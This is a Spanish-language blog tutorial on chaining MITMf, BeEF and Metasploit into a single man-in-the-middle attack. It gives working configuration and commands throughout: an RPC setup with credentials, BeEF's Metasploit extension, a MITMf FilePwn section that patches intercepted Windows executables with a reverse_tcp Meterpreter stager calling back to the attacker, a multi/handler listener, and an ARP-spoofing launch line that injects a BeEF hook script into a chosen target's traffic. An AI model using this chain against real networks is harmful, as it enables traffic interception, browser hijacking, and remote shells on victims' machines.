Combinando MITMf+Beef+Metasploit

En el post de hoy vamos a ver como podemos combinar estas tres herramientas que seguramente ya conozcáis de forma individual.

Aquí os dejo sus respectivos repositorios para que os los podáis instalar, están muy bien documentados así que no me voy a parar en este punto:

Este es un pequeño diagrama sobre como funcionaría el ataque:

+---------+
|         |
| Victim  <--------------------------------+
|         |                                |
+----+----+                                |
     |                                     |
     |                                     |
+----v----+                          +-----+-----+
|         |                          |           |
|  MIMf   +-------------------------->   Beef    |
|         <--------------+           |           |
+----+----+              |           +-----^-----+
     |                   |                 |
     |                   |                 |
+----v----+         +----+------+          |
|         |         |           |          |
| Internet|         | Metasploit ----------+
|         |         |           |
+---------+         +-----------+

Una explicación rápida sería:

  1. Equipo victima intenta salir a Internet pero, sea por el método que sea, MITMf intercepta el tráfico.
  2. MITMf inyecta el payload de Beef en el caso de websites o infecta archivos que vayan por HTTP utilizando Metasploit.
  3. Una vez el navegador este infectado Beef nos permite lanzar diferentes exploits, entre ellos una colección cargada directamente desde Metasploit.

Para poder combinar con éxito estas tres herramientas debemos hacer ciertos cambios en sus configuraciones por defecto y ejecutarlas en un orden determinado. La primera que debemos arrancar sera metasploit.

Para ayudarnos en futuras automatizaciones crearemos un archivo llamado “rpc-init.rc” y que contendrá la siguiente linea:

load msgrpc ServerHost=127.0.0.1 User=msf Pass=abc123

Y se lo pasamos en el arranque a Metasploit de la siguiente manera:

msfconsole -r rpc-init.rc

Esto lo que hace es arrancar el servidor RPC de Metasploit que utilizarán luego MITMf y Beef para comunicarse con el mismo. Fijarse bien en que no he activado el SSL ya que MITMf no lo soporta, pero Beef si, en caso de que solo utilicéis este último podéis activar el SSL simplemente añadiendo SSL=y al final de la linea de rpc-init.rc.

Una vez tengamos a Metasploit escuchando el siguiente en arrancar sera Beef, pero antes debemos activar el soporte para Metasploit, para ello debemos modificar dos archivos.

El primero será config.yaml que estará situado en la carpeta principal de beef, iremos a la sección extensions y la dejaremos de la siguiente manera:

 extension:
        requester:
            enable: true
        proxy:
            enable: true
            key: "beef_key.pem"
            cert: "beef_cert.pem"
        metasploit:
            enable: true
        social_engineering:
            enable: true
        evasion:
            enable: false
        ipec:
            enable: true
        # this is still experimental..
        dns:
            enable: false
        # this is still experimental..
        dns_rebinding:
            enable: false

Aquí la opción más importante es la de Metasploit, el resto podéis activar o desactivar a vuestro gusto.

Ahora pasaremos al siguiente archivo config.yaml que estará en la ruta extensions/metasploit/ dentro de nuestra carpeta de beef nuevamente. Comprobamos que la configuración sea la correcta:

beef:
    extension:
        metasploit:
            name: 'Metasploit'
            enable: true
            # Metasploit msgrpc connection options
            host: "127.0.0.1"
            port: 55552
            user: "msf"
            pass: "abc123"
            uri: '/api'
            ssl: false
            ssl_version: 'TLS1'
            ssl_verify: true
            # Public connect back host IP address for victim connections to Metasploit
            callback_host: "127.0.0.1"
            # URIPATH from Metasploit Browser AutoPwn server module
            autopwn_url: "autopwn"
            # Start msfrpcd automatically with BeEF
            auto_msfrpcd: false
            auto_msfrpcd_timeout: 120
            msf_path: [
              {os: 'osx', path: '/opt/local/msf/'},
              {os: 'livecd', path: '/opt/metasploit-framework/'},
              {os: 'bt5r3', path: '/opt/metasploit/msf3/'},
              {os: 'bt5', path: '/opt/framework3/msf3/'},
              {os: 'backbox', path: '/opt/backbox/msf/'},
              {os: 'kali', path: '/usr/share/metasploit-framework/'},
              {os: 'pentoo', path: '/usr/lib/metasploit'},
              {os: 'win', path: 'c:\\metasploit-framework\\'},
              {os: 'custom', path: ''}
            ]

Aquí debemos asegurarnos de ciertas cosas, la primera es que la opción ssl esté en false ya que no lo utilizaremos por lo que comente anteriormente. Por el resto simplemente comprobaremos que tanto las credenciales como los datos de conexión se corresponden con los de nuestro Metasploit, todo debería estar correcto por defecto pero nunca está de más revisarlo.

Ahora arrancamos beef de forma normal desde la carpeta principal:

./beef

Una vez que termine de arrancar ya tenemos nuestro “backend” listo, lo llamo backend porque serán las aplicaciones en las que nos apoyemos mayormente durante la post-explotación siendo MITMf la principal aplicación atacante.

Antes de poder arrancar MITMf debemos modificar su archivo de configuración para que se adapte a nuestras necesidades, este archivo se encuentra dentro de la carpeta de MITMf en la ruta config/ y se llama mitmf.conf.

Está sea quizás la parte más compleja de configurar ya que MITMf utilizará diferentes payloads dependiendo del sistema de la victima.

El primer, y cambio más importante, es que en la sección [FilePwn][[Targets]] de dicho archivo cambiemos todas las variables HOST para que apunten a nuestro equipo.

Ahora viene la parte compleja, como no existe un payload universal debemos definir el que prefiramos y el puerto en el que escuchará en cada caso, vamos a ver un ejemplo para windows x86:

[[[[WindowsIntelx86]]]]
                        PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
                        # PATCH_METHOD overwrites PATCH_TYPE, use automatic, replace, or onionduke
                        PATCH_METHOD = automatic
                        HOST = 10.0.0.1
                        PORT = 8090
                        # SHELL for use with automatic PATCH_METHOD
                        SHELL = iat_reverse_tcp_stager_threaded
                        # SUPPLIED_SHELLCODE for use with a user_supplied_shellcode payload
                        SUPPLIED_SHELLCODE = None
                        ZERO_CERT = True
                        # PATCH_DLLs as they come across
                        PATCH_DLL = False
                        # RUNAS_ADMIN will attempt to patch requestedExecutionLevel as highestAvailable
                        RUNAS_ADMIN = False
                        # XP_MODE  - to support XP targets
                        XP_MODE = True
                        # SUPPLIED_BINARY is for use with PATCH_METHOD 'onionduke' DLL/EXE can be x64 and
                        #  with PATCH_METHOD 'replace' use an EXE not DLL
                        SUPPLIED_BINARY = veil_go_payload.exe
                        MSFPAYLOAD = windows/meterpreter/reverse_tcp

Está sería la configuración por defecto donde solamente he cambiado la variable HOST para que apunte a mi máquina y vemos al final del todo que el payload a utilizar sera windows/meterpreter/reverse_tcp y que el puerto al que se intentará conectar sera el 8090. En ciertos casos como meterpreter sí que podemos apuntar diversos targets al mismo puerto ya que soportaría conexiones de Windows x86 y x64 pero por ejemplo no soportaría un equipo Linux, con lo cual necesitaríamos utilizar un puerto distinto.

Una vez tengamos todo configurado a nuestra manera y antes de arrancar MITMf, sería recomendable que arrancásemos en Metasploit los handlers necesarios, para el caso anterior; y en el caso de que solo fuéramos a atacar Windows podríamos aprovechar el msfconsole que ya tenemos abierto y ejecutar lo siguiente:

use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.0.0.1
set LPORT 8090
exploit -j

Como veis las opciones LHOST y LPORT se corresponden con las que configuramos en MITMf, con esto ya tendremos a nuestro Metasploit esperando a que MITMf infecte algún archivo y nuestra victima lo ejecute.

MITMf soporta muchos métodos de ataque, desde dejarlo a el hacer todo el trabajo realizando diversos ataques de poisoning hasta simplemente redireccionando el tráfico que deseemos a un puerto a la escucha, aquí voy a tirar de RTFM y os animo a que investiguen las distintas opciones para ver cual se ajusta más a vuestras necesidades.

Ahora bien, existen dos opciones que necesitamos pasarle a MITMf independientemente del tipo de ataque para poder sacar partido a todo este trabajo que hemos realizado hasta ahora, estas opciones son:

--filepwn --inject --js-url http://10.0.0.1:3000/hook.js

En este caso debéis modificar la opción js-url por la URL donde está vuestro beef sirviendo el archivo hook.js, estas URL’s podéis encontrarlas en la consola donde arrancasteis beef ya que por defecto escucha en todas las interfaces.

Aquí os dejo un ejemplo de como se podría lanzar MITMf utilizando estas opciones y realizando un ataque ARP spoof sobre una máquina en concreto:

./mitmf.py --spoof --arp -i wlp2s0 --gateway 10.0.2.1 --target 10.0.2.15 --filepwn --inject --js-url http://10.0.0.1:3000/hook.js

Como nota final sobre MITMf deciros que vais a necesitar ejecutarla con permisos de root porque sino probablemente ni os arranque.

Espero os haya gustado esta guía y como siempre, cualquier duda o sugerencia dejadme un comentario 🙂

Saludos y gracias por vuestra visita!

Esta entrada fue publicada en beef, Metasploit, MITMf, tools, tutorial. Guarda el enlace permanente.

Deja un comentario

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.